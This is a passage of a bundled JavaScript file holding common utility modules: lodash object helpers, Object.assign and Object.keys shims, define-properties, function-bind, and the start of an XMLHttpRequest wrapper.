  1235. * function Foo() {
  1236. * this.b = 2;
  1237. * }
  1238. *
  1239. * Foo.prototype.c = 3;
  1240. *
  1241. * _.assign({ 'a': 1 }, new Foo);
  1242. * // => { 'a': 1, 'b': 2 }
  1243. *
  1244. * _.assign({ 'a': 1 }, _.toPlainObject(new Foo));
  1245. * // => { 'a': 1, 'b': 2, 'c': 3 }
  1246. */
  1247. function toPlainObject(value) {
  1248. return baseCopy(value, keysIn(value));
  1249. }
  1250. module.exports = toPlainObject;
  1251. },{"../internal/baseCopy":10,"../object/keysIn":39}],38:[function(_dereq_,module,exports){
  1252. var getNative = _dereq_('../internal/getNative'),
  1253. isArrayLike = _dereq_('../internal/isArrayLike'),
  1254. isObject = _dereq_('../lang/isObject'),
  1255. shimKeys = _dereq_('../internal/shimKeys'),
  1256. support = _dereq_('../support');
  1257. /* Native method references for those with the same name as other `lodash` methods. */
  1258. var nativeKeys = getNative(Object, 'keys');
  1259. /**
  1260. * Creates an array of the own enumerable property names of `object`.
  1261. *
  1262. * **Note:** Non-object values are coerced to objects. See the
  1263. * [ES spec](http://ecma-international.org/ecma-262/6.0/#sec-object.keys)
  1264. * for more details.
  1265. *
  1266. * @static
  1267. * @memberOf _
  1268. * @category Object
  1269. * @param {Object} object The object to query.
  1270. * @returns {Array} Returns the array of property names.
  1271. * @example
  1272. *
  1273. * function Foo() {
  1274. * this.a = 1;
  1275. * this.b = 2;
  1276. * }
  1277. *
  1278. * Foo.prototype.c = 3;
  1279. *
  1280. * _.keys(new Foo);
  1281. * // => ['a', 'b'] (iteration order is not guaranteed)
  1282. *
  1283. * _.keys('hi');
  1284. * // => ['0', '1']
  1285. */
  1286. var keys = !nativeKeys ? shimKeys : function(object) {
  1287. var Ctor = object == null ? undefined : object.constructor;
  1288. if ((typeof Ctor == 'function' && Ctor.prototype === object) ||
  1289. (typeof object == 'function' ? support.enumPrototypes : isArrayLike(object))) {
  1290. return shimKeys(object);
  1291. }
  1292. return isObject(object) ? nativeKeys(object) : [];
  1293. };
  1294. module.exports = keys;
  1295. },{"../internal/getNative":20,"../internal/isArrayLike":21,"../internal/shimKeys":27,"../lang/isObject":33,"../support":41}],39:[function(_dereq_,module,exports){
  1296. var arrayEach = _dereq_('../internal/arrayEach'),
  1297. isArguments = _dereq_('../lang/isArguments'),
  1298. isArray = _dereq_('../lang/isArray'),
  1299. isFunction = _dereq_('../lang/isFunction'),
  1300. isIndex = _dereq_('../internal/isIndex'),
  1301. isLength = _dereq_('../internal/isLength'),
  1302. isObject = _dereq_('../lang/isObject'),
  1303. isString = _dereq_('../lang/isString'),
  1304. support = _dereq_('../support');
  1305. /** `Object#toString` result references. */
  1306. var arrayTag = '[object Array]',
  1307. boolTag = '[object Boolean]',
  1308. dateTag = '[object Date]',
  1309. errorTag = '[object Error]',
  1310. funcTag = '[object Function]',
  1311. numberTag = '[object Number]',
  1312. objectTag = '[object Object]',
  1313. regexpTag = '[object RegExp]',
  1314. stringTag = '[object String]';
  1315. /** Used to fix the JScript `[[DontEnum]]` bug. */
  1316. var shadowProps = [
  1317. 'constructor', 'hasOwnProperty', 'isPrototypeOf', 'propertyIsEnumerable',
  1318. 'toLocaleString', 'toString', 'valueOf'
  1319. ];
  1320. /** Used for native method references. */
  1321. var errorProto = Error.prototype,
  1322. objectProto = Object.prototype,
  1323. stringProto = String.prototype;
  1324. /** Used to check objects for own properties. */
  1325. var hasOwnProperty = objectProto.hasOwnProperty;
  1326. /**
  1327. * Used to resolve the [`toStringTag`](http://ecma-international.org/ecma-262/6.0/#sec-object.prototype.tostring)
  1328. * of values.
  1329. */
  1330. var objToString = objectProto.toString;
  1331. /** Used to avoid iterating over non-enumerable properties in IE < 9. */
  1332. var nonEnumProps = {};
  1333. nonEnumProps[arrayTag] = nonEnumProps[dateTag] = nonEnumProps[numberTag] = { 'constructor': true, 'toLocaleString': true, 'toString': true, 'valueOf': true };
  1334. nonEnumProps[boolTag] = nonEnumProps[stringTag] = { 'constructor': true, 'toString': true, 'valueOf': true };
  1335. nonEnumProps[errorTag] = nonEnumProps[funcTag] = nonEnumProps[regexpTag] = { 'constructor': true, 'toString': true };
  1336. nonEnumProps[objectTag] = { 'constructor': true };
  1337. arrayEach(shadowProps, function(key) {
  1338. for (var tag in nonEnumProps) {
  1339. if (hasOwnProperty.call(nonEnumProps, tag)) {
  1340. var props = nonEnumProps[tag];
  1341. props[key] = hasOwnProperty.call(props, key);
  1342. }
  1343. }
  1344. });
  1345. /**
  1346. * Creates an array of the own and inherited enumerable property names of `object`.
  1347. *
  1348. * **Note:** Non-object values are coerced to objects.
  1349. *
  1350. * @static
  1351. * @memberOf _
  1352. * @category Object
  1353. * @param {Object} object The object to query.
  1354. * @returns {Array} Returns the array of property names.
  1355. * @example
  1356. *
  1357. * function Foo() {
  1358. * this.a = 1;
  1359. * this.b = 2;
  1360. * }
  1361. *
  1362. * Foo.prototype.c = 3;
  1363. *
  1364. * _.keysIn(new Foo);
  1365. * // => ['a', 'b', 'c'] (iteration order is not guaranteed)
  1366. */
  1367. function keysIn(object) {
  1368. if (object == null) {
  1369. return [];
  1370. }
  1371. if (!isObject(object)) {
  1372. object = Object(object);
  1373. }
  1374. var length = object.length;
  1375. length = (length && isLength(length) &&
  1376. (isArray(object) || isArguments(object) || isString(object)) && length) || 0;
  1377. var Ctor = object.constructor,
  1378. index = -1,
  1379. proto = (isFunction(Ctor) && Ctor.prototype) || objectProto,
  1380. isProto = proto === object,
  1381. result = Array(length),
  1382. skipIndexes = length > 0,
  1383. skipErrorProps = support.enumErrorProps && (object === errorProto || object instanceof Error),
  1384. skipProto = support.enumPrototypes && isFunction(object);
  1385. while (++index < length) {
  1386. result[index] = (index + '');
  1387. }
  1388. // lodash skips the `constructor` property when it infers it's iterating
  1389. // over a `prototype` object because IE < 9 can't set the `[[Enumerable]]`
  1390. // attribute of an existing property and the `constructor` property of a
  1391. // prototype defaults to non-enumerable.
  1392. for (var key in object) {
  1393. if (!(skipProto && key == 'prototype') &&
  1394. !(skipErrorProps && (key == 'message' || key == 'name')) &&
  1395. !(skipIndexes && isIndex(key, length)) &&
  1396. !(key == 'constructor' && (isProto || !hasOwnProperty.call(object, key)))) {
  1397. result.push(key);
  1398. }
  1399. }
  1400. if (support.nonEnumShadows && object !== objectProto) {
  1401. var tag = object === stringProto ? stringTag : (object === errorProto ? errorTag : objToString.call(object)),
  1402. nonEnums = nonEnumProps[tag] || nonEnumProps[objectTag];
  1403. if (tag == objectTag) {
  1404. proto = objectProto;
  1405. }
  1406. length = shadowProps.length;
  1407. while (length--) {
  1408. key = shadowProps[length];
  1409. var nonEnum = nonEnums[key];
  1410. if (!(isProto && nonEnum) &&
  1411. (nonEnum ? hasOwnProperty.call(object, key) : object[key] !== proto[key])) {
  1412. result.push(key);
  1413. }
  1414. }
  1415. }
  1416. return result;
  1417. }
  1418. module.exports = keysIn;
  1419. },{"../internal/arrayEach":9,"../internal/isIndex":23,"../internal/isLength":25,"../lang/isArguments":29,"../lang/isArray":30,"../lang/isFunction":31,"../lang/isObject":33,"../lang/isString":35,"../support":41}],40:[function(_dereq_,module,exports){
  1420. var baseMerge = _dereq_('../internal/baseMerge'),
  1421. createAssigner = _dereq_('../internal/createAssigner');
  1422. /**
  1423. * Recursively merges own enumerable properties of the source object(s), that
  1424. * don't resolve to `undefined` into the destination object. Subsequent sources
  1425. * overwrite property assignments of previous sources. If `customizer` is
  1426. * provided it's invoked to produce the merged values of the destination and
  1427. * source properties. If `customizer` returns `undefined` merging is handled
  1428. * by the method instead. The `customizer` is bound to `thisArg` and invoked
  1429. * with five arguments: (objectValue, sourceValue, key, object, source).
  1430. *
  1431. * @static
  1432. * @memberOf _
  1433. * @category Object
  1434. * @param {Object} object The destination object.
  1435. * @param {...Object} [sources] The source objects.
  1436. * @param {Function} [customizer] The function to customize assigned values.
  1437. * @param {*} [thisArg] The `this` binding of `customizer`.
  1438. * @returns {Object} Returns `object`.
  1439. * @example
  1440. *
  1441. * var users = {
  1442. * 'data': [{ 'user': 'barney' }, { 'user': 'fred' }]
  1443. * };
  1444. *
  1445. * var ages = {
  1446. * 'data': [{ 'age': 36 }, { 'age': 40 }]
  1447. * };
  1448. *
  1449. * _.merge(users, ages);
  1450. * // => { 'data': [{ 'user': 'barney', 'age': 36 }, { 'user': 'fred', 'age': 40 }] }
  1451. *
  1452. * // using a customizer callback
  1453. * var object = {
  1454. * 'fruits': ['apple'],
  1455. * 'vegetables': ['beet']
  1456. * };
  1457. *
  1458. * var other = {
  1459. * 'fruits': ['banana'],
  1460. * 'vegetables': ['carrot']
  1461. * };
  1462. *
  1463. * _.merge(object, other, function(a, b) {
  1464. * if (_.isArray(a)) {
  1465. * return a.concat(b);
  1466. * }
  1467. * });
  1468. * // => { 'fruits': ['apple', 'banana'], 'vegetables': ['beet', 'carrot'] }
  1469. */
  1470. var merge = createAssigner(baseMerge);
  1471. module.exports = merge;
  1472. },{"../internal/baseMerge":13,"../internal/createAssigner":17}],41:[function(_dereq_,module,exports){
  1473. /** Used for native method references. */
  1474. var arrayProto = Array.prototype,
  1475. errorProto = Error.prototype,
  1476. objectProto = Object.prototype;
  1477. /** Native method references. */
  1478. var propertyIsEnumerable = objectProto.propertyIsEnumerable,
  1479. splice = arrayProto.splice;
  1480. /**
  1481. * An object environment feature flags.
  1482. *
  1483. * @static
  1484. * @memberOf _
  1485. * @type Object
  1486. */
  1487. var support = {};
  1488. (function(x) {
  1489. var Ctor = function() { this.x = x; },
  1490. object = { '0': x, 'length': x },
  1491. props = [];
  1492. Ctor.prototype = { 'valueOf': x, 'y': x };
  1493. for (var key in new Ctor) { props.push(key); }
  1494. /**
  1495. * Detect if `name` or `message` properties of `Error.prototype` are
  1496. * enumerable by default (IE < 9, Safari < 5.1).
  1497. *
  1498. * @memberOf _.support
  1499. * @type boolean
  1500. */
  1501. support.enumErrorProps = propertyIsEnumerable.call(errorProto, 'message') ||
  1502. propertyIsEnumerable.call(errorProto, 'name');
  1503. /**
  1504. * Detect if `prototype` properties are enumerable by default.
  1505. *
  1506. * Firefox < 3.6, Opera > 9.50 - Opera < 11.60, and Safari < 5.1
  1507. * (if the prototype or a property on the prototype has been set)
  1508. * incorrectly set the `[[Enumerable]]` value of a function's `prototype`
  1509. * property to `true`.
  1510. *
  1511. * @memberOf _.support
  1512. * @type boolean
  1513. */
  1514. support.enumPrototypes = propertyIsEnumerable.call(Ctor, 'prototype');
  1515. /**
  1516. * Detect if properties shadowing those on `Object.prototype` are non-enumerable.
  1517. *
  1518. * In IE < 9 an object's own properties, shadowing non-enumerable ones,
  1519. * are made non-enumerable as well (a.k.a the JScript `[[DontEnum]]` bug).
  1520. *
  1521. * @memberOf _.support
  1522. * @type boolean
  1523. */
  1524. support.nonEnumShadows = !/valueOf/.test(props);
  1525. /**
  1526. * Detect if own properties are iterated after inherited properties (IE < 9).
  1527. *
  1528. * @memberOf _.support
  1529. * @type boolean
  1530. */
  1531. support.ownLast = props[0] != 'x';
  1532. /**
  1533. * Detect if `Array#shift` and `Array#splice` augment array-like objects
  1534. * correctly.
  1535. *
  1536. * Firefox < 10, compatibility modes of IE 8, and IE < 9 have buggy Array
  1537. * `shift()` and `splice()` functions that fail to remove the last element,
  1538. * `value[0]`, of array-like objects even though the "length" property is
  1539. * set to `0`. The `shift()` method is buggy in compatibility modes of IE 8,
  1540. * while `splice()` is buggy regardless of mode in IE < 9.
  1541. *
  1542. * @memberOf _.support
  1543. * @type boolean
  1544. */
  1545. support.spliceObjects = (splice.call(object, 0, 1), !object[0]);
  1546. /**
  1547. * Detect lack of support for accessing string characters by index.
  1548. *
  1549. * IE < 8 can't access characters by index. IE 8 can only access characters
  1550. * by index on string literals, not string objects.
  1551. *
  1552. * @memberOf _.support
  1553. * @type boolean
  1554. */
  1555. support.unindexedChars = ('x'[0] + Object('x')[0]) != 'xx';
  1556. }(1, 0));
  1557. module.exports = support;
  1558. },{}],42:[function(_dereq_,module,exports){
  1559. /**
  1560. * This method returns the first argument provided to it.
  1561. *
  1562. * @static
  1563. * @memberOf _
  1564. * @category Utility
  1565. * @param {*} value Any value.
  1566. * @returns {*} Returns `value`.
  1567. * @example
  1568. *
  1569. * var object = { 'user': 'fred' };
  1570. *
  1571. * _.identity(object) === object;
  1572. * // => true
  1573. */
  1574. function identity(value) {
  1575. return value;
  1576. }
  1577. module.exports = identity;
  1578. },{}],43:[function(_dereq_,module,exports){
  1579. 'use strict';
  1580. var keys = _dereq_('object-keys');
  1581. module.exports = function hasSymbols() {
  1582. if (typeof Symbol !== 'function' || typeof Object.getOwnPropertySymbols !== 'function') { return false; }
  1583. if (typeof Symbol.iterator === 'symbol') { return true; }
  1584. var obj = {};
  1585. var sym = Symbol('test');
  1586. if (typeof sym === 'string') { return false; }
  1587. // temp disabled per https://github.com/ljharb/object.assign/issues/17
  1588. // if (sym instanceof Symbol) { return false; }
  1589. // temp disabled per https://github.com/WebReflection/get-own-property-symbols/issues/4
  1590. // if (!(Object(sym) instanceof Symbol)) { return false; }
  1591. var symVal = 42;
  1592. obj[sym] = symVal;
  1593. for (sym in obj) { return false; }
  1594. if (keys(obj).length !== 0) { return false; }
  1595. if (typeof Object.keys === 'function' && Object.keys(obj).length !== 0) { return false; }
  1596. if (typeof Object.getOwnPropertyNames === 'function' && Object.getOwnPropertyNames(obj).length !== 0) { return false; }
  1597. var syms = Object.getOwnPropertySymbols(obj);
  1598. if (syms.length !== 1 || syms[0] !== sym) { return false; }
  1599. if (!Object.prototype.propertyIsEnumerable.call(obj, sym)) { return false; }
  1600. if (typeof Object.getOwnPropertyDescriptor === 'function') {
  1601. var descriptor = Object.getOwnPropertyDescriptor(obj, sym);
  1602. if (descriptor.value !== symVal || descriptor.enumerable !== true) { return false; }
  1603. }
  1604. return true;
  1605. };
  1606. },{"object-keys":50}],44:[function(_dereq_,module,exports){
  1607. 'use strict';
  1608. // modified from https://github.com/es-shims/es6-shim
  1609. var keys = _dereq_('object-keys');
  1610. var bind = _dereq_('function-bind');
  1611. var canBeObject = function (obj) {
  1612. return typeof obj !== 'undefined' && obj !== null;
  1613. };
  1614. var hasSymbols = _dereq_('./hasSymbols')();
  1615. var toObject = Object;
  1616. var push = bind.call(Function.call, Array.prototype.push);
  1617. var propIsEnumerable = bind.call(Function.call, Object.prototype.propertyIsEnumerable);
  1618. module.exports = function assign(target, source1) {
  1619. if (!canBeObject(target)) { throw new TypeError('target must be an object'); }
  1620. var objTarget = toObject(target);
  1621. var s, source, i, props, syms, value, key;
  1622. for (s = 1; s < arguments.length; ++s) {
  1623. source = toObject(arguments[s]);
  1624. props = keys(source);
  1625. if (hasSymbols && Object.getOwnPropertySymbols) {
  1626. syms = Object.getOwnPropertySymbols(source);
  1627. for (i = 0; i < syms.length; ++i) {
  1628. key = syms[i];
  1629. if (propIsEnumerable(source, key)) {
  1630. push(props, key);
  1631. }
  1632. }
  1633. }
  1634. for (i = 0; i < props.length; ++i) {
  1635. key = props[i];
  1636. value = source[key];
  1637. if (propIsEnumerable(source, key)) {
  1638. objTarget[key] = value;
  1639. }
  1640. }
  1641. }
  1642. return objTarget;
  1643. };
  1644. },{"./hasSymbols":43,"function-bind":49,"object-keys":50}],45:[function(_dereq_,module,exports){
  1645. 'use strict';
  1646. var defineProperties = _dereq_('define-properties');
  1647. var implementation = _dereq_('./implementation');
  1648. var getPolyfill = _dereq_('./polyfill');
  1649. var shim = _dereq_('./shim');
  1650. defineProperties(implementation, {
  1651. implementation: implementation,
  1652. getPolyfill: getPolyfill,
  1653. shim: shim
  1654. });
  1655. module.exports = implementation;
  1656. },{"./implementation":44,"./polyfill":52,"./shim":53,"define-properties":46}],46:[function(_dereq_,module,exports){
  1657. 'use strict';
  1658. var keys = _dereq_('object-keys');
  1659. var foreach = _dereq_('foreach');
  1660. var hasSymbols = typeof Symbol === 'function' && typeof Symbol() === 'symbol';
  1661. var toStr = Object.prototype.toString;
  1662. var isFunction = function (fn) {
  1663. return typeof fn === 'function' && toStr.call(fn) === '[object Function]';
  1664. };
  1665. var arePropertyDescriptorsSupported = function () {
  1666. var obj = {};
  1667. try {
  1668. Object.defineProperty(obj, 'x', { enumerable: false, value: obj });
  1669. /* eslint-disable no-unused-vars, no-restricted-syntax */
  1670. for (var _ in obj) { return false; }
  1671. /* eslint-enable no-unused-vars, no-restricted-syntax */
  1672. return obj.x === obj;
  1673. } catch (e) { /* this is IE 8. */
  1674. return false;
  1675. }
  1676. };
  1677. var supportsDescriptors = Object.defineProperty && arePropertyDescriptorsSupported();
  1678. var defineProperty = function (object, name, value, predicate) {
  1679. if (name in object && (!isFunction(predicate) || !predicate())) {
  1680. return;
  1681. }
  1682. if (supportsDescriptors) {
  1683. Object.defineProperty(object, name, {
  1684. configurable: true,
  1685. enumerable: false,
  1686. value: value,
  1687. writable: true
  1688. });
  1689. } else {
  1690. object[name] = value;
  1691. }
  1692. };
  1693. var defineProperties = function (object, map) {
  1694. var predicates = arguments.length > 2 ? arguments[2] : {};
  1695. var props = keys(map);
  1696. if (hasSymbols) {
  1697. props = props.concat(Object.getOwnPropertySymbols(map));
  1698. }
  1699. foreach(props, function (name) {
  1700. defineProperty(object, name, map[name], predicates[name]);
  1701. });
  1702. };
  1703. defineProperties.supportsDescriptors = !!supportsDescriptors;
  1704. module.exports = defineProperties;
  1705. },{"foreach":47,"object-keys":50}],47:[function(_dereq_,module,exports){
  1706. var hasOwn = Object.prototype.hasOwnProperty;
  1707. var toString = Object.prototype.toString;
  1708. module.exports = function forEach (obj, fn, ctx) {
  1709. if (toString.call(fn) !== '[object Function]') {
  1710. throw new TypeError('iterator must be a function');
  1711. }
  1712. var l = obj.length;
  1713. if (l === +l) {
  1714. for (var i = 0; i < l; i++) {
  1715. fn.call(ctx, obj[i], i, obj);
  1716. }
  1717. } else {
  1718. for (var k in obj) {
  1719. if (hasOwn.call(obj, k)) {
  1720. fn.call(ctx, obj[k], k, obj);
  1721. }
  1722. }
  1723. }
  1724. };
  1725. },{}],48:[function(_dereq_,module,exports){
  1726. var ERROR_MESSAGE = 'Function.prototype.bind called on incompatible ';
  1727. var slice = Array.prototype.slice;
  1728. var toStr = Object.prototype.toString;
  1729. var funcType = '[object Function]';
  1730. module.exports = function bind(that) {
  1731. var target = this;
  1732. if (typeof target !== 'function' || toStr.call(target) !== funcType) {
  1733. throw new TypeError(ERROR_MESSAGE + target);
  1734. }
  1735. var args = slice.call(arguments, 1);
  1736. var bound;
  1737. var binder = function () {
  1738. if (this instanceof bound) {
  1739. var result = target.apply(
  1740. this,
  1741. args.concat(slice.call(arguments))
  1742. );
  1743. if (Object(result) === result) {
  1744. return result;
  1745. }
  1746. return this;
  1747. } else {
  1748. return target.apply(
  1749. that,
  1750. args.concat(slice.call(arguments))
  1751. );
  1752. }
  1753. };
  1754. var boundLength = Math.max(0, target.length - args.length);
  1755. var boundArgs = [];
  1756. for (var i = 0; i < boundLength; i++) {
  1757. boundArgs.push('$' + i);
  1758. }
  1759. bound = Function('binder', 'return function (' + boundArgs.join(',') + '){ return binder.apply(this,arguments); }')(binder);
  1760. if (target.prototype) {
  1761. var Empty = function Empty() {};
  1762. Empty.prototype = target.prototype;
  1763. bound.prototype = new Empty();
  1764. Empty.prototype = null;
  1765. }
  1766. return bound;
  1767. };
  1768. },{}],49:[function(_dereq_,module,exports){
  1769. var implementation = _dereq_('./implementation');
  1770. module.exports = Function.prototype.bind || implementation;
  1771. },{"./implementation":48}],50:[function(_dereq_,module,exports){
  1772. 'use strict';
  1773. // modified from https://github.com/es-shims/es5-shim
  1774. var has = Object.prototype.hasOwnProperty;
  1775. var toStr = Object.prototype.toString;
  1776. var slice = Array.prototype.slice;
  1777. var isArgs = _dereq_('./isArguments');
  1778. var isEnumerable = Object.prototype.propertyIsEnumerable;
  1779. var hasDontEnumBug = !isEnumerable.call({ toString: null }, 'toString');
  1780. var hasProtoEnumBug = isEnumerable.call(function () {}, 'prototype');
  1781. var dontEnums = [
  1782. 'toString',
  1783. 'toLocaleString',
  1784. 'valueOf',
  1785. 'hasOwnProperty',
  1786. 'isPrototypeOf',
  1787. 'propertyIsEnumerable',
  1788. 'constructor'
  1789. ];
  1790. var equalsConstructorPrototype = function (o) {
  1791. var ctor = o.constructor;
  1792. return ctor && ctor.prototype === o;
  1793. };
  1794. var excludedKeys = {
  1795. $console: true,
  1796. $external: true,
  1797. $frame: true,
  1798. $frameElement: true,
  1799. $frames: true,
  1800. $innerHeight: true,
  1801. $innerWidth: true,
  1802. $outerHeight: true,
  1803. $outerWidth: true,
  1804. $pageXOffset: true,
  1805. $pageYOffset: true,
  1806. $parent: true,
  1807. $scrollLeft: true,
  1808. $scrollTop: true,
  1809. $scrollX: true,
  1810. $scrollY: true,
  1811. $self: true,
  1812. $webkitIndexedDB: true,
  1813. $webkitStorageInfo: true,
  1814. $window: true
  1815. };
  1816. var hasAutomationEqualityBug = (function () {
  1817. /* global window */
  1818. if (typeof window === 'undefined') { return false; }
  1819. for (var k in window) {
  1820. try {
  1821. if (!excludedKeys['$' + k] && has.call(window, k) && window[k] !== null && typeof window[k] === 'object') {
  1822. try {
  1823. equalsConstructorPrototype(window[k]);
  1824. } catch (e) {
  1825. return true;
  1826. }
  1827. }
  1828. } catch (e) {
  1829. return true;
  1830. }
  1831. }
  1832. return false;
  1833. }());
  1834. var equalsConstructorPrototypeIfNotBuggy = function (o) {
  1835. /* global window */
  1836. if (typeof window === 'undefined' || !hasAutomationEqualityBug) {
  1837. return equalsConstructorPrototype(o);
  1838. }
  1839. try {
  1840. return equalsConstructorPrototype(o);
  1841. } catch (e) {
  1842. return false;
  1843. }
  1844. };
  1845. var keysShim = function keys(object) {
  1846. var isObject = object !== null && typeof object === 'object';
  1847. var isFunction = toStr.call(object) === '[object Function]';
  1848. var isArguments = isArgs(object);
  1849. var isString = isObject && toStr.call(object) === '[object String]';
  1850. var theKeys = [];
  1851. if (!isObject && !isFunction && !isArguments) {
  1852. throw new TypeError('Object.keys called on a non-object');
  1853. }
  1854. var skipProto = hasProtoEnumBug && isFunction;
  1855. if (isString && object.length > 0 && !has.call(object, 0)) {
  1856. for (var i = 0; i < object.length; ++i) {
  1857. theKeys.push(String(i));
  1858. }
  1859. }
  1860. if (isArguments && object.length > 0) {
  1861. for (var j = 0; j < object.length; ++j) {
  1862. theKeys.push(String(j));
  1863. }
  1864. } else {
  1865. for (var name in object) {
  1866. if (!(skipProto && name === 'prototype') && has.call(object, name)) {
  1867. theKeys.push(String(name));
  1868. }
  1869. }
  1870. }
  1871. if (hasDontEnumBug) {
  1872. var skipConstructor = equalsConstructorPrototypeIfNotBuggy(object);
  1873. for (var k = 0; k < dontEnums.length; ++k) {
  1874. if (!(skipConstructor && dontEnums[k] === 'constructor') && has.call(object, dontEnums[k])) {
  1875. theKeys.push(dontEnums[k]);
  1876. }
  1877. }
  1878. }
  1879. return theKeys;
  1880. };
  1881. keysShim.shim = function shimObjectKeys() {
  1882. if (Object.keys) {
  1883. var keysWorksWithArguments = (function () {
  1884. // Safari 5.0 bug
  1885. return (Object.keys(arguments) || '').length === 2;
  1886. }(1, 2));
  1887. if (!keysWorksWithArguments) {
  1888. var originalKeys = Object.keys;
  1889. Object.keys = function keys(object) {
  1890. if (isArgs(object)) {
  1891. return originalKeys(slice.call(object));
  1892. } else {
  1893. return originalKeys(object);
  1894. }
  1895. };
  1896. }
  1897. } else {
  1898. Object.keys = keysShim;
  1899. }
  1900. return Object.keys || keysShim;
  1901. };
  1902. module.exports = keysShim;
  1903. },{"./isArguments":51}],51:[function(_dereq_,module,exports){
  1904. 'use strict';
  1905. var toStr = Object.prototype.toString;
  1906. module.exports = function isArguments(value) {
  1907. var str = toStr.call(value);
  1908. var isArgs = str === '[object Arguments]';
  1909. if (!isArgs) {
  1910. isArgs = str !== '[object Array]' &&
  1911. value !== null &&
  1912. typeof value === 'object' &&
  1913. typeof value.length === 'number' &&
  1914. value.length >= 0 &&
  1915. toStr.call(value.callee) === '[object Function]';
  1916. }
  1917. return isArgs;
  1918. };
  1919. },{}],52:[function(_dereq_,module,exports){
  1920. 'use strict';
  1921. var implementation = _dereq_('./implementation');
  1922. var lacksProperEnumerationOrder = function () {
  1923. if (!Object.assign) {
  1924. return false;
  1925. }
  1926. // v8, specifically in node 4.x, has a bug with incorrect property enumeration order
  1927. // note: this does not detect the bug unless there's 20 characters
  1928. var str = 'abcdefghijklmnopqrst';
  1929. var letters = str.split('');
  1930. var map = {};
  1931. for (var i = 0; i < letters.length; ++i) {
  1932. map[letters[i]] = letters[i];
  1933. }
  1934. var obj = Object.assign({}, map);
  1935. var actual = '';
  1936. for (var k in obj) {
  1937. actual += k;
  1938. }
  1939. return str !== actual;
  1940. };
  1941. var assignHasPendingExceptions = function () {
  1942. if (!Object.assign || !Object.preventExtensions) {
  1943. return false;
  1944. }
  1945. // Firefox 37 still has "pending exception" logic in its Object.assign implementation,
  1946. // which is 72% slower than our shim, and Firefox 40's native implementation.
  1947. var thrower = Object.preventExtensions({ 1: 2 });
  1948. try {
  1949. Object.assign(thrower, 'xy');
  1950. } catch (e) {
  1951. return thrower[1] === 'y';
  1952. }
  1953. };
  1954. module.exports = function getPolyfill() {
  1955. if (!Object.assign) {
  1956. return implementation;
  1957. }
  1958. if (lacksProperEnumerationOrder()) {
  1959. return implementation;
  1960. }
  1961. if (assignHasPendingExceptions()) {
  1962. return implementation;
  1963. }
  1964. return Object.assign;
  1965. };
  1966. },{"./implementation":44}],53:[function(_dereq_,module,exports){
  1967. 'use strict';
  1968. var define = _dereq_('define-properties');
  1969. var getPolyfill = _dereq_('./polyfill');
  1970. module.exports = function shimAssign() {
  1971. var polyfill = getPolyfill();
  1972. define(
  1973. Object,
  1974. { assign: polyfill },
  1975. { assign: function () { return Object.assign !== polyfill; } }
  1976. );
  1977. return polyfill;
  1978. };
  1979. },{"./polyfill":52,"define-properties":46}],54:[function(_dereq_,module,exports){
  1980. module.exports = SafeParseTuple
  1981. function SafeParseTuple(obj, reviver) {
  1982. var json
  1983. var error = null
  1984. try {
  1985. json = JSON.parse(obj, reviver)
  1986. } catch (err) {
  1987. error = err
  1988. }
  1989. return [error, json]
  1990. }
  1991. },{}],55:[function(_dereq_,module,exports){
  1992. function clean (s) {
  1993. return s.replace(/\n\r?\s*/g, '')
  1994. }
  1995. module.exports = function tsml (sa) {
  1996. var s = ''
  1997. , i = 0
  1998. for (; i < arguments.length; i++)
  1999. s += clean(sa[i]) + (arguments[i + 1] || '')
  2000. return s
  2001. }
  2002. },{}],56:[function(_dereq_,module,exports){
  2003. "use strict";
  2004. var window = _dereq_("global/window")
  2005. var once = _dereq_("once")
  2006. var isFunction = _dereq_("is-function")
  2007. var parseHeaders = _dereq_("parse-headers")
  2008. var xtend = _dereq_("xtend")
  2009. module.exports = createXHR
  2010. createXHR.XMLHttpRequest = window.XMLHttpRequest || noop
  2011. createXHR.XDomainRequest = "withCredentials" in (new createXHR.XMLHttpRequest()) ? createXHR.XMLHttpRequest : window.XDomainRequest
  2012. forEachArray(["get", "put", "post", "patch", "head", "delete"], function(method) {
  2013. createXHR[method === "delete" ? "del" : method] = function(uri, options, callback) {
  2014. options = initParams(uri, options, callback)
  2015. options.method = method.toUpperCase()
  2016. return _createXHR(options)
  2017. }
  2018. })
  2019. function forEachArray(array, iterator) {
  2020. for (var i = 0; i < array.length; i++) {
  2021. iterator(array[i])
  2022. }
  2023. }
  2024. function isEmpty(obj){
  2025. for(var i in obj){
  2026. if(obj.hasOwnProperty(i)) return false
  2027. }
  2028. return true
  2029. }
  2030. function initParams(uri, options, callback) {
  2031. var params = uri
  2032. if (isFunction(options)) {
  2033. callback = options
  2034. if (typeof uri === "string") {
  2035. params = {uri:uri}
  2036. }
  2037. } else {
  2038. params = xtend(options, {uri: uri})
  2039. }
  2040. params.callback = callback
  2041. return params
  2042. }
  2043. function createXHR(uri, options, callback) {
  2044. options = initParams(uri, options, callback)
  2045. return _createXHR(options)
  2046. }
  2047. function _createXHR(options) {
  2048. var callback = options.callback
  2049. if(typeof callback === "undefined"){
  2050. throw new Error("callback argument missing")
  2051. }
  2052. callback = once(callback)
  2053. function readystatechange() {
  2054. if (xhr.readyState === 4) {
  2055. loadFunc()
  2056. }
  2057. }
  2058. function getBody() {
  2059. // Chrome with requestType=blob throws errors arround when even testing access to responseText
  2060. var body = undefined
  2061. if (xhr.response) {
  2062. body = xhr.response
  2063. } else if (xhr.responseType === "text" || !xhr.responseType) {
  2064. body = xhr.responseText || xhr.responseXML
  2065. }
  2066. if (isJson) {
  2067. try {
  2068. body = JSON.parse(body)
  2069. } catch (e) {}
  2070. }
  2071. return body
  2072. }
  2073. var failureResponse = {
  2074. body: undefined,
  2075. headers: {},
  2076. statusCode: 0,
  2077. method: method,
  2078. url: uri,
  2079. rawRequest: xhr
  2080. }
  2081. function errorFunc(evt) {
  2082. clearTimeout(timeoutTimer)
  2083. if(!(evt instanceof Error)){
  2084. evt = new Error("" + (evt || "Unknown XMLHttpRequest Error") )
  2085. }
  2086. evt.statusCode = 0
  2087. callback(evt, failureResponse)
  2088. }
  2089. // will load the data & process the response in a special response object
  2090. function loadFunc() {
  2091. if (aborted) return
  2092. var status
  2093. clearTimeout(timeoutTimer)
  2094. if(options.useXDR && xhr.status===undefined) {
  2095. //IE8 CORS GET successful response doesn't have a status field, but body is fine
  2096. status = 200
  2097. } else {
  2098. status = (xhr.status === 1223 ? 204 : xhr.status)
  2099. }
  2100. var response = failureResponse
  2101. var err = null
  2102. if (status !== 0){
  2103. response = {
  2104. body: getBody(),
  2105. statusCode: status,
  2106. method: method,
  2107. headers: {},
  2108. url: uri,
  2109. rawRequest: xhr
  2110. }
